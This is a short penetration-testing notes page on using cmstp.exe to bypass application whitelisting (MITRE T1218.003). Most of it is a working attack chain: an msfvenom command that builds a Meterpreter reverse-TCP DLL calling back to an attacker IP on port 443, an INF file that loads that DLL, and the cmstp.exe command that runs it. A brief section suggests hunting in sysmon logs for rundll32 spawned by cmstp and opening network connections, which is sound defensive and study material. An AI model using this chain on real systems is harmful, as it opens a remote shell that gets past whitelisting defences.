CMSTP
CMSTP code execution - bypass application whitelisting.

Execution

Generating the a reverse shell payload as a DLL:
evil.dll
1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f dll > /root/tools/mitre/cmstp/evil.dll
Copied!
Creating a file that will be loaded by CSMTP.exe binary that will in turn load our evil.dll:
f.inf
1
[version]
2
Signature=$chicago$
3
AdvancedINF=2.5
4
5
[DefaultInstall_SingleUser]
6
RegisterOCXs=RegisterOCXSection
7
8
[RegisterOCXSection]
9
C:\experiments\cmstp\evil.dll
10
11
[Strings]
12
AppAct = "SOFTWARE\Microsoft\Connection Manager"
13
ServiceName="mantvydas"
14
ShortSvcName="mantvydas"
Copied!
Invoking the payload:
1
PS C:\experiments\cmstp> cmstp.exe /s .\f.inf
Copied!

Observations

Rundll32 is spawned which then establishes the connection back to the attacker:
A very privitive way of hunting for suspicious instances of rundll32 initiating connections would be skimming through the sysmon logs and looking for network connections being established by rundll32 immediately/soon after it had been spawned by cmstp.
Note how the connection was established one second after the process creation. This behaviour depends on what the payload is supposed to do, but if the payload is a reverse shell, it usually attempts connecting back immediately upon execution, which is exactly our case:

References

Signed Binary Proxy Execution: CMSTP, Sub-technique T1218.003 - Enterprise | MITRE ATT&CK®
AppLocker Bypass – CMSTP
Penetration Testing Lab
Last modified 3yr ago